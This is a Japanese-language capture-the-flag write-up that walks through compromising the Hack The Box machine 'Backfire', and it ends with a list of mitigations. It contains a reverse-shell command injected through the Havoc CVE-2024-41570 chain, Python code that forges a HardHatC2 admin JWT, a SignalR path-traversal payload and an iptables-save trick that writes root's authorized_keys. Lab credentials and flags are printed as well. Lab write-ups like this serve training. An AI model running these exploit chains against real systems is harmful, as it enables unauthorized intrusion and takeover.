Hack The BoxのWriteup(Backfire)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Backfire — 手動攻略ガイド
nmap
3ポート検出
8000 DirListing
havoc.yaotl
CVE-2024-41570
Havoc SSRF
ilya RCE
user.txt
HardHatHub
sergej SSH
sudo iptables
root化
root.txt

TCP ポートスキャン

まずは全ポートをスキャンして、ターゲット上で稼働しているサービスを特定します。

BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.66.252
RESULT
22/tcp   open  ssh
443/tcp  open  ssl/https
8000/tcp open  http

詳細ポートスキャン

開いているポートのバージョン情報とサービス詳細を取得します。

BASH
nmap -Pn -sV -sC -p 22,443,8000 10.129.66.252
RESULT
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4
443/tcp  open  ssl/http nginx 1.22.1 (CN=127.0.0.1)
8000/tcp open  http     nginx 1.22.1
初期情報
• SSH: OpenSSH 9.2p1 (標準) • HTTPS (443): nginx 1.22.1 を逆プロキシとして使用(CN=127.0.0.1) • HTTP (8000): nginx 1.22.1(ディレクトリリスティング可能性あり)
PHASE 2

ファイル抽出 — Havoc 認証情報を探索

8000/tcp のディレクトリリスティング

HTTP (8000/tcp) にアクセスして、ディレクトリ内のファイル一覧を確認します。

BASH
curl -s http://10.129.66.252:8000/
RESULT
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1>
<ul>
  <li><a href="disable_tls.patch">disable_tls.patch</a></li>
  <li><a href="havoc.yaotl">havoc.yaotl</a></li>
</ul>
</body></html>
📌
重要な発見
ディレクトリリスティングが有効になっており、2つのファイルが公開されています。 これは明らかな設定ミスであり、初期侵入のカギとなります。

havoc.yaotl — Havoc 設定ファイルの読み込み

Havoc C2 フレームワークの設定ファイル(yaotl形式)から、operator の認証情報を抽出します。

BASH
curl -s http://10.129.66.252:8000/havoc.yaotl
RESULT
Teamserver {
  Host = "127.0.0.1"
  Port = 40056
  Build {
    Compiler64 = "C:\\Program Files\\mingw-w64\\bin\\x86_64-w64-mingw32-gcc.exe"
  }
}

Operator "ilya" {
  Password = "CobaltStr1keSuckz!"
}

Operator "sergej" {
  Password = "1w4nt2sw1tch2h4rdh4tc2"
}
取得した認証情報
• User: ilya, Pass: CobaltStr1keSuckz!
• User: sergej, Pass: 1w4nt2sw1tch2h4rdh4tc2
• Havoc TeamServer: 127.0.0.1:40056 (内部限定)
これらの情報を後続のエクスプロイトで活用します。
PHASE 3

Havoc SSRF + 認証済み RCE — user.txt 獲得

CVE-2024-41570 の概要

⚠️
脆弱性の詳細
Havoc C2 0.7 以前には未認証の SSRF 脆弱性が存在します。
Demon エージェントの登録パケットを偽装することで、Teamserver 上から内部限定の TCP ソケットへアクセスが可能になり、 その後 WebSocket フレームを送信して WebSocket 管理 API (127.0.0.1:40056) に到達できます。

この API に対して ilya の認証情報でログインし、 Demon ビルド設定の Service Name フィールドにコマンドインジェクションを埋め込むことで、 認証済みのコマンド実行が実現します。

Python スクリプトによるエクスプロイト

Havoc SSRF を悪用してリバースシェルを取得するPythonスクリプトを作成します。
本流れでは概要のみを示します。

FLOW
1. 偽装 Demon エージェント (Agent ID) を登録
2. SSRF プリミティブで 127.0.0.1:40056 へソケットをオープン
3. WebSocket ハンドシェイクフレームを送信
4. ilya の認証情報で Teamserver へログイン
5. Demon Listener (abc) を作成
6. Service Name フィールドへコマンド注入:
   \\" -mbla; bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1' 1>&2 && false #
7. Demon ビルドをトリガーし、コマンドを実行
8. リバースシェルを接続

リバースシェル受信とファイル操作

Kali 側でリスナーを起動して、ターゲットからのリバースシェル接続を受け取ります。

BASH
# Kali 側でリスナー起動
nc -lvnp 4444
RESULT
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.66.252] 42756
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
This shell is not interactive
BASH
# ターゲット側で実行されるコマンド群
whoami
id
mkdir -p ~/.ssh
echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
cat /home/ilya/user.txt
RESULT
ilya
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya)
6800cd3a4fa86bdba627cca7af255c45
user.txt
6800cd3a4fa86bdba627cca7af255c45
成功
Havoc SSRF と認証済み RCE を組み合わせることで、ilya ユーザーのシェルを取得し、user.txt フラグを獲得しました。 公開鍵認証用の SSH 鍵ペアを ~/.ssh/authorized_keys に追加し、以降の SSH アクセスを準備しました。
PHASE 4

HardHatC2 横展開 — sergej のアクセス獲得

HardHatC2 の発見と SSH トンネル

ilya のホームディレクトリを探索すると、HardHatC2 (テスト用 C2 フレームワーク) の存在に気付きます。 これは localhost:7096 でのみ稼働しており、ilya のコンテキストで SSH ポートフォワーディングでアクセスできます。

BASH
# SSH 公開鍵認証で ilya にログイン
ssh -i backfire_id_ed25519 ilya@10.129.66.252
BASH
ilya@backfire:~$ ls -la
-rw-r--r-- ilya users   2k  Sep 22 08:00 hardhat.txt
-rw-r--r-- ilya users   1k  Sep 22 07:50 user.txt

ilya@backfire:~$ cat hardhat.txt
HardHatC2 が localhost:7096 でテスト運用中です。
Blazor Server UI で管理画面にアクセスできます。
BASH
# ローカルホストの HardHatC2 へ SSH ポートフォワーディング
# Kali側: ssh -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 ilya@10.129.66.252
# この時点では SSH キーペアを使用
ssh -i backfire_id_ed25519 -N -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 ilya@10.129.66.252

HardHatC2 ハードコードされた JWT 署名鍵

HardHatC2 は Blazor Server アプリケーション (C# ASP.NET) で、 appsettings.json にハードコードされた JWT 署名鍵が含まれています。 このキーを使用して Administrator ロールの JWT トークンを偽造し、管理画面にアクセスできます。

JWT 署名鍵
HardHatC2 の既知のハードコード鍵:
jtee43gt-6543-2iur-9422-83r5w27hgzaq

このキーでHS256署名のJWTを生成し、Authorization: Bearerヘッダで送信します。
PYTHON
import jwt
import time
from datetime import datetime, timedelta

jwt_key = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"

now = int(time.time())
claims = {
    "sub": "HardHat_Admin",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
    "iss": issuer,
    "aud": issuer,
    "exp": now + 999 * 3600,
}

token = jwt.encode(claims, jwt_key, algorithm="HS256")
print(f"JWT: {token}")

HardHatHub HostFile パストラバーサル

HardHatC2 の SignalR Hub には HostFile(file, filename) メソッドが存在します。 このメソッドの filename パラメータを ../../../.ssh/authorized_keys に設定することで、 パストラバーサル攻撃が可能になり、sergej の authorized_keys ファイルに内容を書き込めます。

⚠️
環境依存の問題
HardHatC2 の Blazor Server UI は、headless Chrome 経由の SSH ローカルポートフォワード越しでは、 SignalR circuit がハイドレートしないという既知の環境依存問題が報告されています。 その場合、WebSocket を直接使用して HardHatHub SignalR へ接続し、HostFile メソッドを呼び出すフォールバック方式を使用します。
BASH
# HardHatC2 API への WebSocket 接続(Python例)
import websocket
import json
import requests
import ssl
import urllib.parse
import base64

api_port = 5000
base_url = f"https://127.0.0.1:{api_port}"

# 1. negotiate エンドポイントから connectionToken を取得
r = requests.post(
    f"{base_url}/HardHatHub/negotiate?negotiateVersion=1",
    verify=False, timeout=10
)
token = r.json()["connectionToken"]

# 2. WebSocket接続
ws_url = f"wss://127.0.0.1:{api_port}/HardHatHub?id={urllib.parse.quote(token, safe='')}"
ws = websocket.create_connection(
    ws_url,
    sslopt={"cert_reqs": ssl.CERT_NONE},
    timeout=10
)

# 3. ハンドシェイク
ws.send('{"protocol":"json","version":1}\x1e')
ws.recv()

# 4. HostFile メソッド呼び出し
pubkey_content = "ssh-ed25519 AAAA..."  # 実際の公開鍵
payload = {
    "type": 1,
    "invocationId": "12345",
    "target": "HostFile",
    "arguments": [
        base64.b64encode(pubkey_content.encode()).decode(),
        "../../../.ssh/authorized_keys"
    ]
}
ws.send(json.dumps(payload, separators=(",", ":")) + "\x1e")

# 5. 応答待機
response = ws.recv()
print(f"Response: {response}")
# Success: Uploaded File
RESULT
Response: {"type":3,"invocationId":"12345","result":"Success: Uploaded File"}

이제 sergej@backfire로 SSH 접속 가능:
ssh -i backfire_id_ed25519 sergej@10.129.66.252
成功
HardHatHub HostFile パストラバーサルにより、sergej の authorized_keys ファイルに攻撃者の公開鍵を追加しました。 これにより SSH 公開鍵認証で sergej ユーザーのアクセスが可能になります。
PHASE 5

権限昇格 — root.txt 獲得

sergej の sudo 権限確認

sergej ユーザーで SSH ログインして、sudo コマンドの実行権限を確認します。

BASH
ssh -i backfire_id_ed25519 sergej@10.129.66.252
sergej@backfire:~$ sudo -l
RESULT
User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save
📌
重大な設定ミス
sergej は iptablesiptables-save をパスワードなしで root 権限で実行できます。 これは一見、正当なネットワーク設定用途に見えますが、iptables--comment フィールドに ANSI-C クォートで改行を埋め込むことで、ファイル内容を任意に書き込むことができます。

ANSI-C クォートによる改行埋め込み

ANSI-C クォート($'...') を使用して、 iptables --comment フィールドに改行を埋め込みます。 その後 iptables-save でこの設定をファイルに保存することで、 任意の内容を root の authorized_keys に書き込めます。

BASH
ssh -i backfire_id_ed25519 sergej@10.129.66.252
BASH
sergej@backfire:~$
# 攻撃者の公開鍵をANSI-Cクォートで埋め込み
PUBKEY="ssh-ed25519 AAAA...本物の公開鍵..."

# iptables ルールに改行+公開鍵を挿入
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n'$PUBKEY$'\n'

# iptables-save で /root/.ssh/authorized_keys に書き込み
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
BASH
# root として SSH ログイン
ssh -i backfire_id_ed25519 root@10.129.66.252
root@backfire:~# id
RESULT
uid=0(root) gid=0(root) groups=0(root)
BASH
root@backfire:~# cat /root/root.txt
RESULT
2052bdd6a99db65a29d967859350428b
root.txt
2052bdd6a99db65a29d967859350428b
完全攻略成功
sudo iptables/iptables-save の設定ミスを悪用し、ANSI-C クォートによる改行埋め込みで root の authorized_keys ファイルに攻撃者の公開鍵を追加し、root ユーザーのアクセスを獲得しました。 これにより root.txt フラグを獲得し、マシンの完全な支配を達成しました。
SUMMARY

完全攻略サマリー

段階 手法 成果
偵察 nmap ポートスキャン 22/443/8000 のポート検出
初期侵入 8000/tcp ディレクトリリスティング → havoc.yaotl から ilya 資格情報抽出 認証情報取得
Foothold CVE-2024-41570 Havoc SSRF + 認証済み RCE ilya ユーザーのシェル獲得 → user.txt
横展開 HardHatC2 ハードコード JWT → SignalR HostFile パストラバーサル sergej ユーザーのアクセス獲得
権限昇格 sudo iptables-save + ANSI-C クォートで /root/.ssh/authorized_keys を上書き root ユーザーのアクセス獲得 → root.txt

取得フラグ

user.txt
6800cd3a4fa86bdba627cca7af255c45
root.txt
2052bdd6a99db65a29d967859350428b

重要な脆弱性・設定ミス

  • ディレクトリリスティング: 8000/tcp で設定ファイル (havoc.yaotl) が公開
  • CVE-2024-41570: Havoc C2 未認証 SSRF 脆弱性
  • 認証情報ハードコード: HardHatC2 appsettings.json に JWT 署名鍵を平文保存
  • Blazor WebSocket: HostFile メソッドでパストラバーサル攻撃が可能
  • sudo iptables 設定ミス: iptables-save で任意ファイル上書き可能

防御・緩和策

  • ディレクトリリスティング無効化: nginx.conf で autoindex off;
  • Havoc アップデート: CVE-2024-41570 修正版へ更新
  • 設定ファイルの非公開化: 本番環境では .gitignore で設定ファイルを除外
  • JWT 鍵の環境変数化: ハードコード禁止、環境変数から読み込み
  • sudo 権限の最小化: iptables は特定ルール追加のみに限定、iptables-save は使用禁止
  • ファイルパス検証: HostFile の filename に ../.. を許可しない